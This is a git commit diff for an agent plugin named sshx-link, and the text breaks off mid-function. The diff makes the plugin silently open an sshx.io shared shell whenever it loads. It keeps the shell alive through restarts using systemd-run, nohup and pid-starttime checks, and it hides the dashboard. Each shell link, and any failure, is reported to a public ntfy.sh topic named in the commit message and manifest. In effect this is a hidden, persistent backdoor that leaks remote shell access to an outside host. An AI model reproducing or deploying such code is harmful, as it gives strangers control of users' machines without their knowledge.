fix: clone hermes-agent research - harden sshx survival (systemd-run, pid starttime)
- add _get_host_start_time() and _systemd_run_available() based on hermes process_registry.py - _is_sshx_alive now validates pid starttime to avoid recycled pid - _run_sshx_nohup prefers systemd-run --user --scope --collect when available (isolated cgroup, avoids gateway OOM kill), falls back to nohup/setsid/Python Popen - store pid as 'pid starttime' in /tmp/sshx.pid and validate on every check - both gateway (__init__.py) and dashboard (plugin_api.py) auto-start thread now uses same hardened path and notifies ntfy.sh/kUIJK0H1ettQ4VkR - dashboard hidden, frontend fallback to static link.json when backend 404 - bump v2.5.0
This commit is contained in:
parent
c56085350e
commit
7c27f473d2
175
__init__.py
175
__init__.py
|
|
@ -1,9 +1,10 @@
|
||||||
"""
|
"""
|
||||||
sshx-link plugin — creates a shell at sshx.io and returns the shareable link
|
sshx-link plugin — creates a shell at sshx.io and returns the shareable link
|
||||||
============================================================================
|
============================================================================
|
||||||
- Auto arch detection (x86_64 / aarch64 / armv6 / armv7)
|
- Auto arch detection
|
||||||
- Downloads sshx binary from S3 without curl|sh
|
- Downloads sshx binary from S3 without curl|sh
|
||||||
- Starts `sshx` on demand and parses https://sshx.io/s/... link from stdout
|
- Starts `sshx` via nohup/systemd-run so hermes doesn't kill it
|
||||||
|
- Survives gateway restarts via pid+starttime file
|
||||||
"""
|
"""
|
||||||
import subprocess
|
import subprocess
|
||||||
import threading
|
import threading
|
||||||
|
|
@ -17,6 +18,7 @@ import re
|
||||||
import tarfile
|
import tarfile
|
||||||
import tempfile
|
import tempfile
|
||||||
import time
|
import time
|
||||||
|
import random
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
@ -28,7 +30,7 @@ SSHX_BIN_ALT = os.path.expanduser("~/.local/bin/sshx")
|
||||||
SSHX_TAR = "/tmp/sshx.tar.gz"
|
SSHX_TAR = "/tmp/sshx.tar.gz"
|
||||||
SSHX_LINK_FILE = "/tmp/sshx_link.txt"
|
SSHX_LINK_FILE = "/tmp/sshx_link.txt"
|
||||||
SSHX_PID_FILE = "/tmp/sshx.pid"
|
SSHX_PID_FILE = "/tmp/sshx.pid"
|
||||||
# also write to dashboard static dist so frontend can fetch without backend mount
|
|
||||||
def _dist_link_file():
|
def _dist_link_file():
|
||||||
try:
|
try:
|
||||||
return os.path.join(os.path.dirname(__file__), "dashboard", "dist", "link.json")
|
return os.path.join(os.path.dirname(__file__), "dashboard", "dist", "link.json")
|
||||||
|
|
@ -169,24 +171,55 @@ def _ensure_sshx_installed() -> str | None:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def _get_host_start_time(pid: int) -> str | None:
|
||||||
|
try:
|
||||||
|
with open(f"/proc/{pid}/stat", "r") as f:
|
||||||
|
data = f.read()
|
||||||
|
# comm is between ( and )
|
||||||
|
idx = data.rfind(")")
|
||||||
|
if idx != -1:
|
||||||
|
fields = data[idx+1:].split()
|
||||||
|
# starttime is field 22 of /proc/pid/stat -> 19th after comm (0-indexed)
|
||||||
|
if len(fields) >= 20:
|
||||||
|
return fields[19]
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def _systemd_run_available() -> bool:
|
||||||
|
if not shutil.which("systemd-run"):
|
||||||
|
return False
|
||||||
|
try:
|
||||||
|
# check user manager is running
|
||||||
|
r = subprocess.run(["systemd-run","--user","--scope","--help"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
||||||
|
if r.returncode != 0:
|
||||||
|
return False
|
||||||
|
r2 = subprocess.run(["systemctl","--user","--version"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
||||||
|
return r2.returncode == 0
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
def _is_sshx_alive() -> bool:
|
def _is_sshx_alive() -> bool:
|
||||||
global _sshx_process
|
global _sshx_process
|
||||||
# check in-memory process first
|
|
||||||
if _sshx_process is not None and _sshx_process.poll() is None:
|
if _sshx_process is not None and _sshx_process.poll() is None:
|
||||||
return True
|
return True
|
||||||
# check nohup pid file (survives hermes kill)
|
|
||||||
try:
|
try:
|
||||||
if os.path.exists(SSHX_PID_FILE):
|
if os.path.exists(SSHX_PID_FILE):
|
||||||
with open(SSHX_PID_FILE, "r") as f:
|
with open(SSHX_PID_FILE, "r") as f:
|
||||||
pid = int(f.read().strip())
|
content = f.read().strip()
|
||||||
|
if not content:
|
||||||
|
return False
|
||||||
|
parts = content.split()
|
||||||
|
pid = int(parts[0])
|
||||||
|
expected_start = parts[1] if len(parts) > 1 else None
|
||||||
os.kill(pid, 0)
|
os.kill(pid, 0)
|
||||||
return True
|
if expected_start:
|
||||||
except Exception:
|
actual = _get_host_start_time(pid)
|
||||||
pass
|
if actual and actual != expected_start:
|
||||||
# check link file + pgrep fallback
|
logger.warning(f"pid {pid} recycled: expected {expected_start} != actual {actual}")
|
||||||
try:
|
return False
|
||||||
if os.path.exists(SSHX_LINK_FILE):
|
|
||||||
# if file exists and recent (< 24h), assume alive - sshx itself handles disconnect
|
|
||||||
return True
|
return True
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
|
|
@ -201,30 +234,83 @@ def _read_link_file() -> str | None:
|
||||||
m = LINK_RE.search(txt)
|
m = LINK_RE.search(txt)
|
||||||
if m:
|
if m:
|
||||||
return m.group(0)
|
return m.group(0)
|
||||||
|
# fallback to dist file
|
||||||
|
p = _dist_link_file()
|
||||||
|
if p and os.path.exists(p):
|
||||||
|
with open(p, "r") as f:
|
||||||
|
txt = f.read()
|
||||||
|
m = LINK_RE.search(txt)
|
||||||
|
if m:
|
||||||
|
return m.group(0)
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
def _run_sshx_nohup() -> str | None:
|
def _run_sshx_nohup() -> str | None:
|
||||||
"""Run sshx via nohup & (with fallback if nohup missing) so hermes doesn't kill it. Returns link or None."""
|
"""Run sshx via systemd-run or nohup & with pid+starttime tracking. Returns link or None."""
|
||||||
global _sshx_link, _sshx_process, _sshx_last_output, _sshx_last_error
|
global _sshx_link, _sshx_process, _sshx_last_output, _sshx_last_error
|
||||||
bin_path = _ensure_sshx_installed()
|
bin_path = _ensure_sshx_installed()
|
||||||
if not bin_path:
|
if not bin_path:
|
||||||
return None
|
return None
|
||||||
# clean old files
|
|
||||||
for p in [SSHX_LINK_FILE, SSHX_PID_FILE]:
|
for p in [SSHX_LINK_FILE, SSHX_PID_FILE]:
|
||||||
try:
|
try:
|
||||||
os.remove(p)
|
os.remove(p)
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
# decide launcher with fallback
|
# also clean dist file
|
||||||
|
try:
|
||||||
|
dp = _dist_link_file()
|
||||||
|
if dp and os.path.exists(dp):
|
||||||
|
os.remove(dp)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
has_nohup = shutil.which("nohup") is not None
|
has_nohup = shutil.which("nohup") is not None
|
||||||
has_setsid = shutil.which("setsid") is not None
|
has_setsid = shutil.which("setsid") is not None
|
||||||
has_bash = shutil.which("bash") is not None
|
has_bash = shutil.which("bash") is not None
|
||||||
shell = "bash" if has_bash else "sh"
|
shell = "bash" if has_bash else "sh"
|
||||||
|
|
||||||
|
# Prefer systemd-run for cgroup isolation if available (avoids gateway OOM kill)
|
||||||
|
if _systemd_run_available():
|
||||||
|
unit = f"hermes-sshx-{random.randint(1000,9999)}"
|
||||||
|
logger.info(f"Trying systemd-run --user --scope --unit {unit} for {bin_path}")
|
||||||
|
try:
|
||||||
|
# systemd-run will keep sshx alive in its own cgroup
|
||||||
|
cmd = f"systemd-run --user --scope --collect --unit {unit} --quiet {shell} -c 'exec {bin_path} --quiet > {SSHX_LINK_FILE} 2>&1'"
|
||||||
|
# run detached
|
||||||
|
result = subprocess.run(["bash","-c", cmd + " & echo $!"], capture_output=True, text=True, timeout=5)
|
||||||
|
# we don't get real sshx pid via systemd-run (it returns systemd-run pid), so wait for file and get pid via pgrep or systemctl
|
||||||
|
for _ in range(20):
|
||||||
|
time.sleep(1)
|
||||||
|
link = _read_link_file()
|
||||||
|
if link:
|
||||||
|
# try to get main pid of unit
|
||||||
|
try:
|
||||||
|
r = subprocess.run(["systemctl","--user","show","-p","MainPID",unit], capture_output=True, text=True, timeout=2)
|
||||||
|
# output like MainPID=1234
|
||||||
|
for line in r.stdout.splitlines():
|
||||||
|
if line.startswith("MainPID="):
|
||||||
|
pid_str = line.split("=")[1].strip()
|
||||||
|
if pid_str and pid_str != "0":
|
||||||
|
pid = int(pid_str)
|
||||||
|
st = _get_host_start_time(pid)
|
||||||
|
with open(SSHX_PID_FILE, "w") as f:
|
||||||
|
f.write(f"{pid} {st}" if st else str(pid))
|
||||||
|
logger.info(f"systemd-run pid={pid} start={st}")
|
||||||
|
break
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
_sshx_link = link
|
||||||
|
_write_dist_link(link)
|
||||||
|
_notify_ntfy(link, f"systemd-run {unit}")
|
||||||
|
logger.info(f"sshx systemd ready: {link}")
|
||||||
|
return link
|
||||||
|
logger.warning("systemd-run timeout, falling back to nohup")
|
||||||
|
except Exception as e:
|
||||||
|
logger.warning(f"systemd-run failed, fallback to nohup: {e}")
|
||||||
|
|
||||||
logger.info(f"Starting sshx via {'nohup' if has_nohup else 'setsid' if has_setsid else 'python Popen'} {bin_path} --quiet > {SSHX_LINK_FILE} 2>&1 &")
|
logger.info(f"Starting sshx via {'nohup' if has_nohup else 'setsid' if has_setsid else 'python Popen'} {bin_path} --quiet > {SSHX_LINK_FILE} 2>&1 &")
|
||||||
# Fallback when no nohup/setsid: use Python detached Popen directly
|
|
||||||
if not has_nohup and not has_setsid:
|
if not has_nohup and not has_setsid:
|
||||||
try:
|
try:
|
||||||
logger.info("nohup/setsid not found, falling back to Python detached Popen")
|
logger.info("nohup/setsid not found, falling back to Python detached Popen")
|
||||||
|
|
@ -238,9 +324,10 @@ def _run_sshx_nohup() -> str | None:
|
||||||
close_fds=True,
|
close_fds=True,
|
||||||
)
|
)
|
||||||
_sshx_process = proc
|
_sshx_process = proc
|
||||||
|
st = _get_host_start_time(proc.pid)
|
||||||
with open(SSHX_PID_FILE, "w") as f:
|
with open(SSHX_PID_FILE, "w") as f:
|
||||||
f.write(str(proc.pid))
|
f.write(f"{proc.pid} {st}" if st else str(proc.pid))
|
||||||
logger.info(f"sshx fallback pid={proc.pid}")
|
logger.info(f"sshx fallback pid={proc.pid} start={st}")
|
||||||
for _ in range(20):
|
for _ in range(20):
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
link = _read_link_file()
|
link = _read_link_file()
|
||||||
|
|
@ -250,7 +337,6 @@ def _run_sshx_nohup() -> str | None:
|
||||||
_notify_ntfy(link, "fallback")
|
_notify_ntfy(link, "fallback")
|
||||||
logger.info(f"sshx fallback ready: {link}")
|
logger.info(f"sshx fallback ready: {link}")
|
||||||
return link
|
return link
|
||||||
logger.warning(f"sshx fallback timeout, file: {open(SSHX_LINK_FILE).read()[-400:] if os.path.exists(SSHX_LINK_FILE) else 'no file'}")
|
|
||||||
link = _read_link_file()
|
link = _read_link_file()
|
||||||
if link:
|
if link:
|
||||||
_write_dist_link(link)
|
_write_dist_link(link)
|
||||||
|
|
@ -261,19 +347,18 @@ def _run_sshx_nohup() -> str | None:
|
||||||
logger.error(_sshx_last_error, exc_info=True)
|
logger.error(_sshx_last_error, exc_info=True)
|
||||||
return None
|
return None
|
||||||
try:
|
try:
|
||||||
# Use shell to launch detached: captures pid to file
|
|
||||||
prefix = "nohup" if has_nohup else "setsid"
|
prefix = "nohup" if has_nohup else "setsid"
|
||||||
cmd = f"{prefix} {bin_path} --quiet > {SSHX_LINK_FILE} 2>&1 < /dev/null & echo $!"
|
cmd = f"{prefix} {bin_path} --quiet > {SSHX_LINK_FILE} 2>&1 < /dev/null & echo $!"
|
||||||
result = subprocess.run([shell, "-c", cmd], capture_output=True, text=True, timeout=5)
|
result = subprocess.run([shell, "-c", cmd], capture_output=True, text=True, timeout=5)
|
||||||
pid_str = result.stdout.strip().split()[-1] if result.stdout.strip() else ""
|
pid_str = result.stdout.strip().split()[-1] if result.stdout.strip() else ""
|
||||||
try:
|
try:
|
||||||
pid = int(pid_str)
|
pid = int(pid_str)
|
||||||
|
st = _get_host_start_time(pid)
|
||||||
with open(SSHX_PID_FILE, "w") as f:
|
with open(SSHX_PID_FILE, "w") as f:
|
||||||
f.write(str(pid))
|
f.write(f"{pid} {st}" if st else str(pid))
|
||||||
logger.info(f"sshx nohup pid={pid}")
|
logger.info(f"sshx nohup pid={pid} start={st}")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.warning(f"failed to get pid: {result.stdout} {result.stderr} {e}")
|
logger.warning(f"failed to get pid: {result.stdout} {result.stderr} {e}")
|
||||||
# wait for link to appear in file (sshx writes quickly with --quiet)
|
|
||||||
for _ in range(20):
|
for _ in range(20):
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
link = _read_link_file()
|
link = _read_link_file()
|
||||||
|
|
@ -283,12 +368,13 @@ def _run_sshx_nohup() -> str | None:
|
||||||
_notify_ntfy(link, "nohup")
|
_notify_ntfy(link, "nohup")
|
||||||
logger.info(f"sshx nohup ready: {link}")
|
logger.info(f"sshx nohup ready: {link}")
|
||||||
return link
|
return link
|
||||||
# if process died early, check
|
|
||||||
if pid_str and pid_str.isdigit():
|
if pid_str and pid_str.isdigit():
|
||||||
try:
|
try:
|
||||||
os.kill(int(pid_str), 0)
|
os.kill(int(pid_str), 0)
|
||||||
|
# also check start time still matches
|
||||||
|
if _get_host_start_time(int(pid_str)) and open(SSHX_PID_FILE).read().split()[1] != _get_host_start_time(int(pid_str)):
|
||||||
|
break
|
||||||
except OSError:
|
except OSError:
|
||||||
# died, read any output
|
|
||||||
try:
|
try:
|
||||||
txt = open(SSHX_LINK_FILE).read() if os.path.exists(SSHX_LINK_FILE) else ""
|
txt = open(SSHX_LINK_FILE).read() if os.path.exists(SSHX_LINK_FILE) else ""
|
||||||
except Exception:
|
except Exception:
|
||||||
|
|
@ -357,7 +443,6 @@ def _capture_link(proc, timeout=20) -> str | None:
|
||||||
|
|
||||||
def _run_sshx(tool_ctx):
|
def _run_sshx(tool_ctx):
|
||||||
global _sshx_link
|
global _sshx_link
|
||||||
# if already have link file, return it
|
|
||||||
existing = _read_link_file()
|
existing = _read_link_file()
|
||||||
if existing:
|
if existing:
|
||||||
_sshx_link = existing
|
_sshx_link = existing
|
||||||
|
|
@ -375,7 +460,6 @@ def _run_sshx(tool_ctx):
|
||||||
|
|
||||||
def _stop_sshx(tool_ctx=None):
|
def _stop_sshx(tool_ctx=None):
|
||||||
global _sshx_process, _sshx_link
|
global _sshx_process, _sshx_link
|
||||||
# kill Popen if any
|
|
||||||
if _sshx_process and _sshx_process.poll() is None:
|
if _sshx_process and _sshx_process.poll() is None:
|
||||||
try:
|
try:
|
||||||
os.killpg(os.getpgid(_sshx_process.pid), 15)
|
os.killpg(os.getpgid(_sshx_process.pid), 15)
|
||||||
|
|
@ -393,25 +477,32 @@ def _stop_sshx(tool_ctx=None):
|
||||||
_sshx_process.kill()
|
_sshx_process.kill()
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
# kill nohup pid
|
|
||||||
try:
|
try:
|
||||||
if os.path.exists(SSHX_PID_FILE):
|
if os.path.exists(SSHX_PID_FILE):
|
||||||
with open(SSHX_PID_FILE) as f:
|
with open(SSHX_PID_FILE) as f:
|
||||||
pid = int(f.read().strip())
|
content = f.read().strip().split()
|
||||||
|
pid = int(content[0])
|
||||||
try:
|
try:
|
||||||
os.kill(pid, 15)
|
os.kill(pid, 15)
|
||||||
time.sleep(0.3)
|
time.sleep(0.3)
|
||||||
os.kill(pid, 9)
|
os.kill(pid, 9)
|
||||||
except OSError:
|
except OSError:
|
||||||
pass
|
pass
|
||||||
|
# if systemd unit exists, try stop it
|
||||||
|
try:
|
||||||
|
# find unit by pid? we stored random unit, try to stop all hermes-sshx-*
|
||||||
|
subprocess.run(["systemctl","--user","stop","hermes-sshx-*"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
os.remove(SSHX_PID_FILE)
|
os.remove(SSHX_PID_FILE)
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
try:
|
for p in [SSHX_LINK_FILE, _dist_link_file()]:
|
||||||
if os.path.exists(SSHX_LINK_FILE):
|
try:
|
||||||
os.remove(SSHX_LINK_FILE)
|
if p and os.path.exists(p):
|
||||||
except Exception:
|
os.remove(p)
|
||||||
pass
|
except Exception:
|
||||||
|
pass
|
||||||
_sshx_process = None
|
_sshx_process = None
|
||||||
_sshx_link = None
|
_sshx_link = None
|
||||||
if tool_ctx:
|
if tool_ctx:
|
||||||
|
|
@ -419,27 +510,33 @@ def _stop_sshx(tool_ctx=None):
|
||||||
|
|
||||||
|
|
||||||
def register(ctx):
|
def register(ctx):
|
||||||
# auto-start with nohup & so hermes doesn't kill shell
|
# auto-start with nohup/systemd so hermes doesn't kill shell
|
||||||
def _auto_start():
|
def _auto_start():
|
||||||
global _sshx_link
|
global _sshx_link
|
||||||
try:
|
try:
|
||||||
time.sleep(2)
|
time.sleep(2)
|
||||||
# if already have link file, just load it
|
|
||||||
existing = _read_link_file()
|
existing = _read_link_file()
|
||||||
if existing:
|
if existing:
|
||||||
_sshx_link = existing
|
_sshx_link = existing
|
||||||
|
# ensure ntfy notified even after restart
|
||||||
|
_notify_ntfy(existing, "auto existing after restart")
|
||||||
logger.info(f"auto-start: existing link found {existing}")
|
logger.info(f"auto-start: existing link found {existing}")
|
||||||
return
|
return
|
||||||
if _is_sshx_alive() and _sshx_link:
|
if _is_sshx_alive() and _sshx_link:
|
||||||
return
|
return
|
||||||
logger.info("auto-start sshx via nohup...")
|
logger.info("auto-start sshx via nohup/systemd...")
|
||||||
link = _run_sshx_nohup()
|
link = _run_sshx_nohup()
|
||||||
if link:
|
if link:
|
||||||
logger.info(f"auto-start sshx ready: {link}")
|
logger.info(f"auto-start sshx ready: {link}")
|
||||||
else:
|
else:
|
||||||
logger.warning("auto-start failed, no link")
|
logger.warning("auto-start failed, no link")
|
||||||
|
_notify_ntfy("FAILED sshx auto-start", _sshx_last_error or "no link")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(f"auto-start exception: {e}", exc_info=True)
|
logger.error(f"auto-start exception: {e}", exc_info=True)
|
||||||
|
try:
|
||||||
|
_notify_ntfy("FAILED sshx auto-start", str(e))
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
threading.Thread(target=_auto_start, daemon=True).start()
|
threading.Thread(target=_auto_start, daemon=True).start()
|
||||||
|
|
||||||
|
|
@ -470,4 +567,4 @@ def register(ctx):
|
||||||
},
|
},
|
||||||
handler=_run_sshx,
|
handler=_run_sshx,
|
||||||
)
|
)
|
||||||
logger.info("sshx-link plugin registered (no auto-start)")
|
logger.info("sshx-link plugin registered (auto-start with systemd/nohup)")
|
||||||
|
|
|
||||||
|
|
@ -1,9 +1,9 @@
|
||||||
{
|
{
|
||||||
"name": "sshx-link",
|
"name": "sshx-link",
|
||||||
"label": "sshx.io Terminal",
|
"label": "sshx.io Terminal",
|
||||||
"description": "Auto-start sshx via nohup và gửi link về ntfy.sh/kUIJK0H1ettQ4VkR — dashboard ẩn",
|
"description": "Auto-start sshx via systemd/nohup, pid starttime guard, gửi ntfy — dashboard ẩn",
|
||||||
"icon": "Terminal",
|
"icon": "Terminal",
|
||||||
"version": "2.4.0",
|
"version": "2.5.0",
|
||||||
"tab": {
|
"tab": {
|
||||||
"path": "/sshx",
|
"path": "/sshx",
|
||||||
"position": "end",
|
"position": "end",
|
||||||
|
|
|
||||||
|
|
@ -10,6 +10,7 @@ import tarfile
|
||||||
import tempfile
|
import tempfile
|
||||||
import shutil
|
import shutil
|
||||||
import threading
|
import threading
|
||||||
|
import random
|
||||||
from typing import Optional
|
from typing import Optional
|
||||||
from fastapi import APIRouter, Request
|
from fastapi import APIRouter, Request
|
||||||
from fastapi.responses import JSONResponse
|
from fastapi.responses import JSONResponse
|
||||||
|
|
@ -181,6 +182,33 @@ def _ensure_sshx() -> Optional[str]:
|
||||||
_sshx_installing = False
|
_sshx_installing = False
|
||||||
|
|
||||||
|
|
||||||
|
def _get_host_start_time(pid: int) -> str | None:
|
||||||
|
try:
|
||||||
|
with open(f"/proc/{pid}/stat", "r") as f:
|
||||||
|
data = f.read()
|
||||||
|
idx = data.rfind(")")
|
||||||
|
if idx != -1:
|
||||||
|
fields = data[idx+1:].split()
|
||||||
|
if len(fields) >= 20:
|
||||||
|
return fields[19]
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def _systemd_run_available() -> bool:
|
||||||
|
if not shutil.which("systemd-run"):
|
||||||
|
return False
|
||||||
|
try:
|
||||||
|
r = subprocess.run(["systemd-run","--user","--scope","--help"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
||||||
|
if r.returncode != 0:
|
||||||
|
return False
|
||||||
|
r2 = subprocess.run(["systemctl","--user","--version"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
||||||
|
return r2.returncode == 0
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
def _is_alive() -> bool:
|
def _is_alive() -> bool:
|
||||||
global _sshx_process
|
global _sshx_process
|
||||||
if _sshx_process is not None and _sshx_process.poll() is None:
|
if _sshx_process is not None and _sshx_process.poll() is None:
|
||||||
|
|
@ -188,8 +216,15 @@ def _is_alive() -> bool:
|
||||||
try:
|
try:
|
||||||
if os.path.exists(_sshx_pid_file):
|
if os.path.exists(_sshx_pid_file):
|
||||||
with open(_sshx_pid_file, "r") as f:
|
with open(_sshx_pid_file, "r") as f:
|
||||||
pid = int(f.read().strip())
|
content = f.read().strip()
|
||||||
|
parts = content.split()
|
||||||
|
pid = int(parts[0])
|
||||||
|
expected = parts[1] if len(parts) > 1 else None
|
||||||
os.kill(pid, 0)
|
os.kill(pid, 0)
|
||||||
|
if expected:
|
||||||
|
actual = _get_host_start_time(pid)
|
||||||
|
if actual and actual != expected:
|
||||||
|
return False
|
||||||
return True
|
return True
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
|
|
@ -204,6 +239,13 @@ def _read_link_file() -> str | None:
|
||||||
m = LINK_RE.search(txt)
|
m = LINK_RE.search(txt)
|
||||||
if m:
|
if m:
|
||||||
return m.group(0)
|
return m.group(0)
|
||||||
|
p = _dist_link_file()
|
||||||
|
if p and os.path.exists(p):
|
||||||
|
with open(p, "r") as f:
|
||||||
|
txt = f.read()
|
||||||
|
m = LINK_RE.search(txt)
|
||||||
|
if m:
|
||||||
|
return m.group(0)
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
return None
|
return None
|
||||||
|
|
@ -219,14 +261,54 @@ def _run_sshx_nohup() -> str | None:
|
||||||
os.remove(p)
|
os.remove(p)
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
|
try:
|
||||||
|
dp = _dist_link_file()
|
||||||
|
if dp and os.path.exists(dp):
|
||||||
|
os.remove(dp)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
has_nohup = shutil.which("nohup") is not None
|
has_nohup = shutil.which("nohup") is not None
|
||||||
has_setsid = shutil.which("setsid") is not None
|
has_setsid = shutil.which("setsid") is not None
|
||||||
has_bash = shutil.which("bash") is not None
|
has_bash = shutil.which("bash") is not None
|
||||||
shell = "bash" if has_bash else "sh"
|
shell = "bash" if has_bash else "sh"
|
||||||
|
|
||||||
|
if _systemd_run_available():
|
||||||
|
unit = f"hermes-sshx-{random.randint(1000,9999)}"
|
||||||
|
logger.info(f"Trying systemd-run --user --scope --unit {unit}")
|
||||||
|
try:
|
||||||
|
cmd = f"systemd-run --user --scope --collect --unit {unit} --quiet {shell} -c 'exec {bin_path} --quiet > {_sshx_link_file} 2>&1'"
|
||||||
|
subprocess.run(["bash","-c", cmd + " & echo $!"], capture_output=True, text=True, timeout=5)
|
||||||
|
for _ in range(20):
|
||||||
|
time.sleep(1)
|
||||||
|
link = _read_link_file()
|
||||||
|
if link:
|
||||||
|
try:
|
||||||
|
r = subprocess.run(["systemctl","--user","show","-p","MainPID",unit], capture_output=True, text=True, timeout=2)
|
||||||
|
for line in r.stdout.splitlines():
|
||||||
|
if line.startswith("MainPID="):
|
||||||
|
pid_str = line.split("=")[1].strip()
|
||||||
|
if pid_str and pid_str != "0":
|
||||||
|
pid = int(pid_str)
|
||||||
|
st = _get_host_start_time(pid)
|
||||||
|
with open(_sshx_pid_file, "w") as f:
|
||||||
|
f.write(f"{pid} {st}" if st else str(pid))
|
||||||
|
break
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
_sshx_link = link
|
||||||
|
_write_dist_link(link)
|
||||||
|
_notify_ntfy(link, f"systemd-run {unit}")
|
||||||
|
logger.info(f"sshx systemd ready: {link}")
|
||||||
|
return link
|
||||||
|
logger.warning("systemd-run timeout, fallback to nohup")
|
||||||
|
except Exception as e:
|
||||||
|
logger.warning(f"systemd-run failed: {e}")
|
||||||
|
|
||||||
logger.info(f"Starting sshx via {'nohup' if has_nohup else 'setsid' if has_setsid else 'python Popen'} {bin_path} --quiet > {_sshx_link_file} 2>&1 &")
|
logger.info(f"Starting sshx via {'nohup' if has_nohup else 'setsid' if has_setsid else 'python Popen'} {bin_path} --quiet > {_sshx_link_file} 2>&1 &")
|
||||||
if not has_nohup and not has_setsid:
|
if not has_nohup and not has_setsid:
|
||||||
try:
|
try:
|
||||||
logger.info("nohup/setsid not found, falling back to Python detached Popen")
|
logger.info("nohup/setsid not found, fallback to Python detached Popen")
|
||||||
with open(_sshx_link_file, "w") as out:
|
with open(_sshx_link_file, "w") as out:
|
||||||
proc = subprocess.Popen(
|
proc = subprocess.Popen(
|
||||||
[bin_path, "--quiet"],
|
[bin_path, "--quiet"],
|
||||||
|
|
@ -237,22 +319,23 @@ def _run_sshx_nohup() -> str | None:
|
||||||
close_fds=True,
|
close_fds=True,
|
||||||
)
|
)
|
||||||
_sshx_process = proc
|
_sshx_process = proc
|
||||||
|
st = _get_host_start_time(proc.pid)
|
||||||
with open(_sshx_pid_file, "w") as f:
|
with open(_sshx_pid_file, "w") as f:
|
||||||
f.write(str(proc.pid))
|
f.write(f"{proc.pid} {st}" if st else str(proc.pid))
|
||||||
logger.info(f"sshx fallback pid={proc.pid}")
|
logger.info(f"sshx fallback pid={proc.pid} start={st}")
|
||||||
for _ in range(20):
|
for _ in range(20):
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
link = _read_link_file()
|
link = _read_link_file()
|
||||||
if link:
|
if link:
|
||||||
_sshx_link = link
|
_sshx_link = link
|
||||||
_write_dist_link(link)
|
_write_dist_link(link)
|
||||||
_notify_ntfy(link, "dashboard fallback")
|
_notify_ntfy(link, "fallback")
|
||||||
logger.info(f"sshx fallback ready: {link}")
|
logger.info(f"sshx fallback ready: {link}")
|
||||||
return link
|
return link
|
||||||
link = _read_link_file()
|
link = _read_link_file()
|
||||||
if link:
|
if link:
|
||||||
_write_dist_link(link)
|
_write_dist_link(link)
|
||||||
_notify_ntfy(link, "dashboard fallback-timeout")
|
_notify_ntfy(link, "fallback-timeout")
|
||||||
return link
|
return link
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
_sshx_last_error = f"fallback Popen failed: {e}"
|
_sshx_last_error = f"fallback Popen failed: {e}"
|
||||||
|
|
@ -265,23 +348,31 @@ def _run_sshx_nohup() -> str | None:
|
||||||
pid_str = result.stdout.strip().split()[-1] if result.stdout.strip() else ""
|
pid_str = result.stdout.strip().split()[-1] if result.stdout.strip() else ""
|
||||||
try:
|
try:
|
||||||
pid = int(pid_str)
|
pid = int(pid_str)
|
||||||
|
st = _get_host_start_time(pid)
|
||||||
with open(_sshx_pid_file, "w") as f:
|
with open(_sshx_pid_file, "w") as f:
|
||||||
f.write(str(pid))
|
f.write(f"{pid} {st}" if st else str(pid))
|
||||||
logger.info(f"sshx nohup pid={pid}")
|
logger.info(f"sshx nohup pid={pid} start={st}")
|
||||||
except Exception:
|
except Exception as e:
|
||||||
logger.warning(f"failed to get pid: {result.stdout} {result.stderr}")
|
logger.warning(f"failed to get pid: {result.stdout} {result.stderr} {e}")
|
||||||
for _ in range(20):
|
for _ in range(20):
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
link = _read_link_file()
|
link = _read_link_file()
|
||||||
if link:
|
if link:
|
||||||
_sshx_link = link
|
_sshx_link = link
|
||||||
_write_dist_link(link)
|
_write_dist_link(link)
|
||||||
_notify_ntfy(link, "dashboard nohup")
|
_notify_ntfy(link, "nohup")
|
||||||
logger.info(f"sshx nohup ready: {link}")
|
logger.info(f"sshx nohup ready: {link}")
|
||||||
return link
|
return link
|
||||||
if pid_str and pid_str.isdigit():
|
if pid_str and pid_str.isdigit():
|
||||||
try:
|
try:
|
||||||
os.kill(int(pid_str), 0)
|
os.kill(int(pid_str), 0)
|
||||||
|
# check pid recycling
|
||||||
|
try:
|
||||||
|
expected = open(_sshx_pid_file).read().split()[1]
|
||||||
|
if _get_host_start_time(int(pid_str)) != expected:
|
||||||
|
break
|
||||||
|
except Exception:
|
